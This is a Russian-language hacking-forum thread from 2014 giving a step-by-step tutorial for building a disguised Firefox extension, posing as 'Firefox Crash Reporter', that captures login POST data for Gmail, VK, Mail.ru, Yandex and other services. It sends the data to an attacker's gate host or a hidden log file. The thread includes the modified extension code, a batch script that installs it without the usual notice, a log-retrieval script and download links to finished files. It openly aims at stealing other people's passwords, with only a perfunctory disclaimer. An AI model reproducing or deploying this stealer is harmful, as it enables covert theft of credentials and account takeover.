Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Крадем пароли Firefox с помощью расширения (https://forum.antichat.xyz/showthread.php?t=414471)

Ereee 08.07.2014 03:40

0. INTRO

Все началось вот с этой темы. Мне нужен был сниффер, чтобы украсть пароль от админки, имея физический доступ к компьютеру. Эту тему статьей не назовешь, в нем не будет никакого привата, но она, думаю, будет интересна для многих новичков, которым хочется узнать, на что способен казалось бы безобидное расширение.

1. Нужное

1. http://kaimi.ru/2012/06/simple-firefox-extension/

2. Notepad++

3. Denwer(необязательно, если цель - компьютер друга) или хостинг

4. Браузер Mozilla Firefox + расширение LiveHTTPHeaders

2. Подготовка

Скачиваем по первой ссылке из нужных архив с расширением и распаковываем удобном для Вас месте.

1. Если это компьютер друга/подруги и т.д., можно сразу переходить к шагу "3. Действуем".

2. Если к цели можно получить физический доступ только один раз или целей много, установите Denwer, в папке Z:\home\test1.ru\www создаем файл test.php с содержимым(или сразу на хостинг):

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Это будет будущий гейт, для принятия паролей.

3. Действуем

В папке с распакованным расширением находим install.rdf, меняем все содержимое на:

Код:

Code:

   
        code@google.com
        Firefox Crash Reporter
        2.1.0
        2
        Oh noes LTD
       
        http://www.mozilla.org/

       
           
                {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
                2.0
                30.*

Сохраняем, открываем ./chrome/content/accelerator.js.

Видим

Код:

Code:
var log_host = "kaimi.ru";

замените на

Код:

Code:
var log_host = "test1.ru";

Строчкой ниже добавляем:

Код:

Code:
var need_host="accounts.google.com/ServiceLoginAuth|odnoklassniki.ru/https|login.vk.com|auth.mail.ru|passport.yandex.ru";

Это адреса авторизационных сервисов известных сайтов. Это означает, что мы можем украсть пароли от Gmail, OD, VK, Mail.Ru, Yandex.Ru. Хотите добавить свой сайт? Для этого мы устанавливали Mozilla Firefox + LiveHTTPHeaders:

1. Заходим на нужный сайт, на страницу авторизации(пусть у нас это будет mail.ru)

2. Жмем Инструменты => Просмотр HTTP заголовков

3. Вводим логин и пароль на сайте, неважно правильный или нет, жмем "Войти"

4. Смотрим в окне LiveHTTPHeaders, видим:

http://s020.radikal.ru/i708/1407/06/3bb9931b15eat.jpg

Видим, как передаются наши данные. Вот оттуда и взялся в нашей переменной need_host значение auth.mail.ru.

По этому примеру можно сделать для банкинга, админки, Webmoney, Steam, электронного журнала оценок, букмекерских сайтов и т.д. и т.п. Ограничивается все Вашей фантазией.

Дальше.

Меняем условие:

Код:

Code:
if(http_channel.requestMethod == "POST")

на

Код:

Code:
if(http_channel.requestMethod == "POST" && new RegExp('^http(s?)://(?:www\.)*' + need_host, 'i').test(uri))

Этот условие значит, что мы крадем данные только тогда, когда метод передачи POST и этот сайт в списке need_host.

Находим:

Код:

Code:
req.send("uri=" + enc_uri + "&info=" + enc_data);

После ставим:

Код:

Code:
var txt = enc_uri+"||"+enc_data+"\n";
var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD",  Components.interfaces.nsIFile);
    file.append("crash_logs.txt"); //файл для сохранения
    var fs = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    fs.init(file, 0x02 | 0x08 | 0x10, 0664, 0); // write, create, append
    fs.write(txt, txt.length); // записываем
    fs.close(); //закрываем

Этот код отвечает за сохранение передаваемых логинов, паролей, а так же сайта в %APPDATA%\Mozilla\Firefox\Profiles\профайл. default\crash_logs.txt. Данные будут в формате urlencode(base64_encode(data)), как прочитать такой файл можно узнать в шаге "4. Тестируем".

Сохраняем.

Папка с расширением сейчас называется accelerator, переименуйте ее на code@google.com. Рядом с папкой code@google.com создаем файл install.bat с содержимым:

Код:

Code:
@echo off
set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
  for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
  XCOPY code@google.com "%destDir%\%copyto%\extensions\code@google.com\" /H /E /G /Q /R /Y /D
 
copy "%destDir%\%copyto%\prefs.js" "%destDir%\%copyto%\temp.txt"
del "%destDir%\%copyto%\prefs.js"

start "" "C:\Program Files\Mozilla Firefox\firefox.exe"
PING -n 11 127.0.0.1>nul
taskkill.exe /f /im "firefox.exe"

copy "%destDir%\%copyto%\temp.txt" "%destDir%\%copyto%\prefs.js"
del "%destDir%\%copyto%\temp.txt"

Смысл этого батника: находим директорию с уникальным именем, копируем туда расширение, копируем файл настроек Firefox, запускаем Firefox, ждем 10 секунд и закрываем, копируем прежний файл настроек.

Такие шаги имели смысл для Firefox 3.*, так как с помощью этого файла можно было установить расширение, включить его и не показывать уведомление о установке нового расширения. А в новых версиях Firefox расширение не включается, но уведомления о новой установке нет, что радует. Следовательно, Вам надо проверить, включено ли расширение Firefox Crash Reporter 2.1.0, нажав Инструменты => Дополнения в меню Mozilla Firefox. Если нет - включаем.

Рядом сinstall.bat, для удобства создайте get_log.bat с содержимым:

Код:

Code:
@echo off
SET newtime=%date%-%time:~0,2%.%time:~3,2%.%time:~6,2%
set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
  for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
  copy "%destDir%\%copyto%\crash_logs.txt" "log_%newtime%.txt"

Таким образом мы скопируем логи, которые достали и присвоим им уникальное имя - текущую дату и время.

Все готово.

Движок форума вставляет пробелы, поэтому у Вас обязательно будут синтаксические ошибки в коде, исходя из этого, ОБЯЗАТЕЛЬНО скачиваем готовые файлы и расширение(пароль antichat):

https://www.sendspace.com/file/866ox2

http://rghost.ru/private/56780319/4f...92a77a2b681105

4. Тестируем

1. Запускаем из скаченного архива install.bat.

2. Запускаем Firefox, заходим к примеру на mail.ru, вводим любой логин и пароль.

3. Запускаем get_log.bat

В папке с распакованным архивом появится log_date_time.txt, вместо date и time, соответственно, дата и время.

log_date_time.txt имеет такой вид:

Код:

Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ%3D%3D

Жмем Ctrl+F, заменяем %3D на пустоту.

Получится:

Код:

Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ

Находим любой онлайн base64 decoder и декодируем.

До || это адрес сайта, а после переданные POST-данные.

Код:

Code:
aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo => https://auth.mail.ru/cgi-bin/auth?from=splash
||
RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ =>
Domain=mail.ru&Login=test&Password=testtest&new_auth_form=1&saveauth=1

Если используете гейт, скрипт автоматически распределяет по сайтам:

http://s61.radikal.ru/i171/1407/ec/883a74e0ad74t.jpg

Результаты теста:

Firefox 3.5.2

http://s43.radikal.ru/i101/1407/e7/7ac10701b35et.jpg

Firefox 29.0.1

http://s020.radikal.ru/i712/1407/a6/f292bc8e23aft.jpg

Как я и говорил, в новых версиях Firefox не забудьте проверить, включен ли плагин. Batch file отработал хорошо на Windows XP и Win8, что можно и по скринам увидеть.

5. OUTRO

В незаконных целях не используйте, я лишь привел возможности. Вы можете украсть пароль, а можете попасть в тюрьму.

Всем удачи и благ!

OxoTnik 08.07.2014 21:53

в блоги нужно перенести, или в статьй.


Время: 22:34